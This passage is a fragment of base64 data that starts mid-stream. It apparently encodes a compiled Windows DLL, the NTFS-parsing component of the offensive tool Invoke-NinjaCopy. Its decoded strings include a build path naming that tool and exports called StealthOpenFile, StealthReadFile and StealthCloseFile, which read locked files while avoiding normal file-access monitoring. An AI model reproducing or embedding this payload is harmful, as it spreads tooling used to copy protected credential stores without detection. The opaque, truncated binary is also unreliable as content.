0ZXJhdG9yJwAAAGB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCcAAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAYGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgdWR0IHJldHVybmluZycAYEVIAGBSVFRJAAAAYGxvY2FsIHZmdGFibGUnAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnACBuZXdbXQAAIGRlbGV0ZVtdAAAAYG9tbmkgY2FsbHNpZycAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBlaCB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAGBkeW5hbWljIGF0ZXhpdCBkZXN0cnVjdG9yIGZvciAnAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAYG1hbmFnZWQgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAIFR5cGUgRGVzY3JpcHRvcicAAAAgQmFzZSBDbGFzcyBEZXNjcmlwdG9yIGF0ICgAIEJhc2UgQ2xhc3MgQXJyYXknAAAgQ2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3InAAAAACBDb21wbGV0ZSBPYmplY3QgTG9jYXRvcicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgAGgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAYEBgQGBAYEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAAQABAAEAAQABAAggGCAYIBggGCAYIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAEAAQABAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAFAAUABAAEAAQABAAEAAUABAAEAAQABAAEAAQAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQAAEBAQEBAQEBAQEBAQEBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAACAQIBAgECAQIBAgECAQIBAQEAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/QQAAABcAAABDAE8ATgBPAFUAVAAkAAAABoCAhoCBgAAAEAOGgIaCgBQFBUVFRYWFhQUAADAwgFCAiAAIACgnOFBXgAAHADcwMFBQiAAAACAogIiAgAAAAGBoYGhoaAgIB3hwcHdwcAgIAAAIAAgABwgAAABnZW5lcmljAHVua25vd24gZXJyb3IAAABpb3N0cmVhbQAAAABpb3N0cmVhbSBzdHJlYW0gZXJyb3IAAABzeXN0ZW0AAGludmFsaWQgc3RyaW5nIHBvc2l0aW9uAHN0cmluZyB0b28gbG9uZwBcXC5cJWM6AE5URlMgICAgAAAAAJxOARBwTgAQgBcAEJAXABCwFwAQsE4BEABOABBwHQAQgB0AELAdABDsTgEQkE0AEIAXABCQFwAQsBcAEABPARDwTAAQcB0AEIAdABCwHQAQxE4BEOAWABCAFwAQkBcAELAXABDYTgEQ8BgAEHAdABCAHQAQsB0AEBRPARDwRAAQGFABEMBEABAsUAEQkEQAEEBQARBgRAAQaFABENA8ABBUUAEQQC0AEChPARDwGAAQcB0AEIAdABCwHQAQPE8BEKhOABBQTwEQwCgAEIAXABCQFwAQsBcAEGRPARCgJwAQfFABECAnABB4TwEQYCUAEIAXABCQFwAQsBcAEIxPARDgFgAQgBcAEJAXABCwFwAQoE8BELBOABC0TwEQoCMAEIAXABCQFwAQsBcAEMhPARDgHwAQ3E8BEOAWABCAFwAQkBcAELAXABDwTwEQ8BgAEHAdABCAHQAQsB0AEARQARDgFgAQgBcAEJAXABCwFwAQkFABEOAWABD+VwAQ/lcAEP5XABBIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAcAEQsFABEBcAAABSU0RTKhjahWztyU+JA8UQjfEHSAEAAABDOlxHaXRodWJcUG93ZXJTaGVsbFxJbnZva2UtTmluamFDb3B5XE5URlNQYXJzZXJcUmVsZWFzZVxOVEZTUGFyc2VyRExMLnBkYgAAAAAAAI0AAACNAAAAAAAAABxwARAAAAAAAAAAAP////8AAAAAQAAAAOBFARAAAAAAAAAAAAEAAADwRQEQxEUBEAAAAAAAAAAAAAAAAAAAAAAAcAEQDEYBEAAAAAAAAAAAAgAAABxGARAoRgEQxEUBEAAAAAAAcAEQAQAAAAAAAAD/////AAAAAEAAAAAMRgEQAAAAAAAAAAAAAAAAOHABEFhGARAAAAAAAAAAAAIAAABoRgEQdEYBEMRFARAAAAAAOHABEAEAAAAAAAAA/////wAAAABAAAAAWEYBEAAAAAAAAAAAAAAAAFhwARCkRgEQAAAAAAAAAAADAAAAtEYBEMRGARB0RgEQxEUBEAAAAABYcAEQAgAAAAAAAAD/////AAAAAEAAAACkRgEQAAAAAAAAAAAAAAAAeHABEPRGARAAAAAAAAAAAAMAAAAERwEQFEcBEHRGARDERQEQAAAAAHhwARACAAAAAAAAAP////8AAAAAQAAAAPRGARAAAAAAAAAAAAAAAACgcAEQREcBEAAAAAAAAAAAAQAAAFRHARBcRwEQAAAAAKBwARAAAAAAAAAAAP////8AAAAAQAAAAERHARAAAAAAAAAAAAAAAAAccAEQ4EUBEAAAAAAAAAAAAAAAAPB5ARCgRwEQAAAAAAAAAAACAAAAsEcBELxHARDERQEQAAAAAPB5ARABAAAAAAAAAP////8AAAAAQAAAAKBHARAAAAAAAAAAAAEAAACYSAEQyH4BEAAAAAAAAAAA/////wAAAABAAAAA2EcBEAAAAAAAAAAAAwAAABRIARCgSAEQOEgBEOhHARAAAAAAAAAAAAAAAAAAAAAA7H4BEOxIARDsfgEQAQAAAAAAAAD/////AAAAAEAAAADsSAEQcH4BEAIAAAAAAAAA/////wAAAABAAAAAvEgBEAAAAAAAAAAAAAAAAMh+ARDYRwEQAAAAAAAAAAAAAAAAcH4BELxIARDoRwEQAAAAAJx+ARACAAAAAAAAAP////8AAAAAQAAAAARIARAAAAAAAAAAAAMAAAD8SAEQAAAAAAAAAAAAAAAAnH4BEARIARA4SAEQ6EcBEAAAAAAAAAAAAAAAAAIAAADgSAEQVEgBEDhIARDoRwEQAAAAAERKARAgTAEQAE0BEAAAAABgSgEQBEwBEABNARAAAAAAfEoBECBMARAATQEQAAAAAJhKARAETAEQAE0BEAAAAAC0SgEQIEwBEABNARAAAAAA0EoBEARMARAATQEQAAAAAOxKARAAAAAACEsBEARMARAATQEQAAAAAEBLARAgTAEQAE0BECRLARAAAAAAXEsBEDxMARAAAAAAeEsBECBMARAATQEQAAAAAJRLARAgTAEQAE0BEAAAAADMSwEQIEwBEABNARCwSwEQAAAAAOhLARAgTAEQAE0BEAAAAAAETAEQAE0BEAAAAAAgTAEQAE0BEAAAAAA8TAEQAAAAAFhMARAAAAAAdEwBEAAAAACQTAEQAAAAAKxMARAAAAAAyEwBEORMARAAAAAA5EwBEAAAAAAATQEQAAAAABh/ARACAAAAAAAAAP////8AAAAAQAAAABxNARBIfwEQAgAAAAAAAAD/////AAAAAEAAAAAsTQEQfH8BEAIAAAAAAAAA/////wAAAABAAAAAPE0BEKh/ARACAAAAAAAAAP////8AAAAAQAAAAExNARDYfwEQAgAAAAAAAAD/////AAAAAEAAAABcTQEQCIABEAIAAAAAAAAA/////wAAAABAAAAAbE0BEDyAARAAAAAAAAAAAP////8AAAAAQAAAAHxNARBkgAEQAgAAAAAAAAD/////AAAAAEAAAACMTQEQcIEBEAAAAAAoAAAA/////wAAAABAAAAAHE4BEISAARADAAAAAAAAAP////8AAAAAQAAAAJxNARCkgAEQAQAAAAAAAAD/////AAAAAEAAAACsTQEQwIABEAIAAAAAAAAA/////wAAAABAAAAAvE0BENyAARACAAAAAAAAAP////8AAAAAQAAAAMxNARAgggEQAAAAACgAAAD/////AAAAAEAAAABsTgEQ+IABEAMAAAAAAAAA/////wAAAABAAAAA3E0BEBiBARACAAAAAAAAAP////8AAAAAQAAAAOxNARA0gQEQAQAAAAAAAAD/////AAAAAEAAAAD8TQEQVIEBEAEAAAAAAAAA/////wAAAABAAAAADE4BEHCBARAAAAAAAAAAAP////8AAAAAQAAAABxOARCYgQEQAAAAAAAAAAD/////AAAAAEAAAAAsTgEQxIEBEAAAAAAAAAAA/////wAAAABAAAAAPE4BEOiBARAAAAAAAAAAAP////8AAAAAQAAAAExOARAEggEQAAAAAAAAAAD/////AAAAAEAAAABcTgEQOIIBEAEAAAAAAAAA/////wAAAABAAAAAfE4BECCCARAAAAAAAAAAAP////8AAAAAQAAAAGxOARBUggEQAAAAAAAAAAD/////AAAAAEAAAACMTgEQAAAAAAAAAAADAAAADEkBEAAAAAAAAAAAAwAAABxJARAAAAAAAAAAAAMAAAAsSQEQAAAAAAAAAAADAAAAPEkBEAAAAAAAAAAAAwAAAExJARAAAAAAAAAAAAMAAABcSQEQAAAAAAAAAAABAAAAbEkBEAAAAAAAAAAAAwAAAHRJARAAAAAAAQAAAAQAAACESQEQAAAAAAAAAAACAAAAmEkBEAAAAAAAAAAAAwAAAKRJARAAAAAAAAAAAAMAAAC0SQEQAAAAAAEAAAAEAAAAxEkBEAAAAAAAAAAAAwAAANhJARAAAAAAAAAAAAIAAADoSQEQAAAAAAAAAAACAAAA9EkBEAAAAAAAAAAAAQAAAABKARAAAAAAAAAAAAEAAAAISgEQAAAAAAAAAAABAAAAEEoBEAAAAAAAAAAAAQAAABhKARAAAAAAAAAAAAEAAAAgSgEQAAAAAAAAAAABAAAANEoBEAAAAAAAAAAAAgAAAChKARAAAAAAAAAAAAEAAAA8SgEQAAAAAAAAAAAAAAAAGH8BEBxNARAAAAAAAAAAAAAAAABIfwEQLE0BEAAAAAAAAAAAAAAAAHx/ARA8TQEQAAAAAAAAAAAAAAAAqH8BEExNARAAAAAAAAAAAAAAAADYfwEQXE0BEAAAAAAAAAAAAAAAAAiAARBsTQEQAAAAAAAAAAAAAAAAPIABEHxNARAAAAAAAAAAAAAAAABkgAEQjE0BEAAAAAAoAAAAAAAAAISAARCcTQEQAAAAAAAAAAAAAAAAhIABEJxNARAAAAAAAAAAAAAAAACkgAEQrE0BEAAAAAAAAAAAAAAAAMCAARC8TQEQAAAAAAAAAAAAAAAA3IABEMxNARAAAAAAKAAAAAAAAAD4gAEQ3E0BEAAAAAAAAAAAAAAAAPiAARDcTQEQAAAAAAAAAAAAAAAAIIIBEGxOARAAAAAAAAAAAAAAAAAYgQEQ7E0BEAAAAAAAAAAAAAAAADSBARD8TQEQAAAAAAAAAAAAAAAAVIEBEAxOARAAAAAAAAAAAAAAAABwgQEQHE4BEAAAAAAAAAAAAAAAAJiBARAsTgEQAAAAAAAAAAAAAAAAxIEBEDxOARAAAAAAAAAAAAAAAADogQEQTE4BEAAAAAAAAAAAAAAAAASCARBcTgEQAAAAAAAAAAAAAAAAOIIBEHxOARAAAAAAAAAAAAAAAABUggEQjE4BEAAAAAAAAAAAAAAAAExqAAB9agAA8HUAALC8AADw2gAAUOYAAHDmAACu5gAA/uYAADjnAABo5wAAo+cAANPnAAAD6AAAKOgAAH/oAAC46AAA6OgAACbpAAC+6QAA6+kAACPqAABL6gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeE8AEAAAAAAwUQEQAgAAADxRARBYUQEQAAAAAABwARAAAAAA/////wAAAAAMAAAADE8AEAAAAAAccAEQAAAAAP////8AAAAADAAAAG9uABAAAAAAOHABEAAAAAD/////AAAAAAwAAABCTwAQAAAAAINPABAAAAAAoFEBEAMAAACwUQEQdFEBEFhRARAAAAAAWHABEAAAAAD/////AAAAAAwAAAAnTwAQAAAAAINPABAAAAAA3FEBEAMAAADsUQEQdFEBEFhRARAAAAAAeHABEAAAAAD/////AAAAAAwAAABdTwAQ/v///wAAAADU////AAAAAP7///8AAAAAKlcAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAC+XAAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAC1dABAAAAAA/v///wAAAADM////AAAAAP7///9sXQAQlV0AEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADsYAAQAAAAAP7///8AAAAA1P///wAAAAD+////hGIAEJ5iABAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAX3QAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABEewAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAAd/ABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAsoIAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAAzhAAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAAGIABD+////AAAAAA2IABD+////AAAAANj///8AAAAA/v///wAAAABxiQAQ/v///wAAAACAiQAQ/v///wAAAADY////AAAAAP7///+ijQAQpo0AEAAAAAD+////AAAAANj///8AAAAA/v///26NABByjQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAANKOABAAAAAA/v///wAAAAB8////AAAAAP7///8AAAAA86IAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABFtAAQAAAAAAq0ABAUtAAQ/v///wAAAACw////AAAAAP7///8AAAAAO6oAEAAAAACHqQAQkakAEP7///8AAAAA2P///wAAAAD+////qbEAEK2xABAAAAAA/v///wAAAADY////AAAAAP7///98qAAQhagAEEAAAAAAAAAAAAAAAOiqABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAMRUARAiBZMZAgAAANRUARABAAAA5FQBEAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADU////AAAAAP7///8nswAQK7MAEAAAAADCqAAQAAAAAExVARACAAAAWFUBEFhRARAAAAAA8HkBEAAAAAD/////AAAAAAwAAACnqAAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAABm3ABAAAAAA/v///wAAAADY////AAAAAP7///9JuAAQXLgAEAAAAAD+////AAAAALz///8AAAAA/v///wAAAAB4ugAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAFfOABAAAAAA/v///wAAAADI////AAAAAP7///8AAAAAedcAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACn3QAQAAAAAAAAAABx3QAQ/v///wAAAADQ////AAAAAP7///8AAAAARd8AEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADR3wAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAACrjABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAJuQAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAA/5QAQIgWTGQQAAAAAVwEQAgAAACBXARAAAAAAAAAAAAAAAAABAAAA/////wAAAAD/////AAAAAAEAAAAAAAAAAQAAAAAAAAACAAAAAgAAAAMAAAABAAAASFcBEAAAAAAAAAAAAwAAAAEAAABYVwEQQAAAAAAAAAAAAAAAMhYAEEAAAAAAAAAAAAAAAPUVABAiBZMZAQAAAIxXARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////4OgAECIFkxkBAAAAuFcBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+w6AAQIgWTGQEAAADkVwEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////2DnABAiBZMZAQAAABBYARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////MOcAECIFkxkDAAAAPFgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////g5gAQAAAAAOjmABABAAAA8+YAECIFkxkDAAAAeFgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+Q5gAQAAAAAJjmABABAAAAo+YAECIFkxkDAAAAtFgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9Q6AAQ/////1voABAAAAAAcegAECIFkxkBAAAA8FgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9A6gAQIgWTGQoAAAAgWQEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAP////9Q6QAQ/////1vpABD/////ZukAEP////9x6QAQ/////3zpABD/////h+kAEP////+S6QAQ/////53pABD/////qOkAEP////+z6QAQIgWTGQEAAACUWQEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////xDpABAiBZMZAQAAAMBZARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////4OkAECIFkxkCAAAA7FkBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////8Q6gAQAAAAABvqABAiBZMZAgAAACBaARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////8OcAEAAAAAD45wAQIgWTGQEAAABUWgEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////yDoABAiBZMZAgAAAIBaARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////wOcAEAAAAADI5wAQIgWTGQIAAAC0WgEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////5DnABAAAAAAmOcAEOxaAQAAAAAAAAAAAHJcAQAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8WwEAElwBACRcAQA0XAEAQFwBAFZcAQBkXAEAgFwBAJBcAQCgXAEAtFwBANBcAQDiXAEA+FwBAApdAQAWXQEALl0BADxdAQBSXQEAZF0BAHBdAQB4XQEAiF0BAJRdAQCqXQEAtl0BAMJdAQDaXQEA7F0BAPZdAQACXgEADl4BACBeAQAwXgEATF4BAGpeAQCSXgEApl4BALpeAQDGXgEA1F4BAOJeAQDsXgEA/l4BABJfAQAkXwEAMl8BAEpfAQBgXwEAel8BAJBfAQCqXwEAxF8BAN5fAQD2XwEADmABACBgAQAuYAEARGABAFRgAQBkYAEAdGABAIZgAQCaYAEAqmABALpgAQDOYAEAAAAAABEFV2lkZUNoYXJUb011bHRpQnl0ZQBmBFNldEZpbGVQb2ludGVyAAACAkdldExhc3RFcnJvcgAAwANSZWFkRmlsZQAAZwNNdWx0aUJ5dGVUb1dpZGVDaGFyAFIAQ2xvc2VIYW5kbGUAiABDcmVhdGVGaWxlQQBLRVJORUwzMi5kbGwAAOoARW5jb2RlUG9pbnRlcgDKAERlY29kZVBvaW50ZXIAAANJc0RlYnVnZ2VyUHJlc2VudAAEA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAhgFHZXRDb21tYW5kTGluZUEAxQFHZXRDdXJyZW50VGhyZWFkSWQAALEDUmFpc2VFeGNlcHRpb24AABgEUnRsVW53aW5kAOsCSW50ZXJsb2NrZWREZWNyZW1lbnQAABkBRXhpdFByb2Nlc3MAFwJHZXRNb2R1bGVIYW5kbGVFeFcAAEUCR2V0UHJvY0FkZHJlc3MAANQCSGVhcFNpemUAALIEU2xlZXAAZAJHZXRTdGRIYW5kbGUAACUFV3JpdGVGaWxlABQCR2V0TW9kdWxlRmlsZU5hbWVXAADPAkhlYXBGcmVlAADLAkhlYXBBbGxvYwDvAkludGVybG9ja2VkSW5jcmVtZW50AAAKA0lzVmFsaWRDb2RlUGFnZQBoAUdldEFDUAAANwJHZXRPRU1DUAAAcgFHZXRDUEluZm8AaQJHZXRTdHJpbmdUeXBlVwAAcwRTZXRMYXN0RXJyb3IAANMEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAClBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgDjAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAwAFHZXRDdXJyZW50UHJvY2VzcwDABFRlcm1pbmF0ZVByb2Nlc3MAAMUEVGxzQWxsb2MAAMcEVGxzR2V0VmFsdWUAyARUbHNTZXRWYWx1ZQDGBFRsc0ZyZWUAYwJHZXRTdGFydHVwSW5mb1cAGAJHZXRNb2R1bGVIYW5kbGVXAABKAkdldFByb2Nlc3NIZWFwAADzAUdldEZpbGVUeXBlANEARGVsZXRlQ3JpdGljYWxTZWN0aW9uABMCR2V0TW9kdWxlRmlsZU5hbWVBAACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMEBR2V0Q3VycmVudFByb2Nlc3NJZAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAYQFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAAA+A0xvYWRMaWJyYXJ5RXhXAADSAkhlYXBSZUFsbG9jAIoDT3V0cHV0RGVidWdTdHJpbmdXAAA/A0xvYWRMaWJyYXJ5VwAALQNMQ01hcFN0cmluZ1cAAJoBR2V0Q29uc29sZUNQAACsAUdldENvbnNvbGVNb2RlAABnBFNldEZpbGVQb2ludGVyRXgAAIcEU2V0U3RkSGFuZGxlAAAkBVdyaXRlQ29uc29sZVcAVwFGbHVzaEZpbGVCdWZmZXJzAACPAENyZWF0ZUZpbGVXAAAAAAAAAAAA0BUUUgAAAAAmYQEAAQAAAAMAAAADAAAACGEBABRhAQAgYQEAQEIAAIA+AACAQQAAOGEBAElhAQBZYQEAAAABAAIATlRGU1BhcnNlckRMTC5kbGwAU3RlYWx0aENsb3NlRmlsZQBTdGVhbHRoT3BlbkZpbGUAU3RlYWx0aFJlYWRGaWxlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACk/wAQAAAAAC4/QVZiYWRfYWxsb2NAc3RkQEAApP8AEAAAAAAuP0FWZXhjZXB0aW9uQHN0ZEBAAKT/ABAAAAAALj9BVmxvZ2ljX2Vycm9yQHN0ZEBAAAAApP8AEAAAAAAuP0FWbGVuZ3RoX2Vycm9yQHN0ZEBAAACk/wAQAAAAAC4/QVZvdXRfb2ZfcmFuZ2VAc3RkQEAAAAAAAAAAAAAApP8AEAAAAAAuP0FWdHlwZV9pbmZvQEAAAAAAAAAAAABO5kC7sRm/RAEAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAOBzARABAgQIpAMAAGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5egAAAAAAAEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABA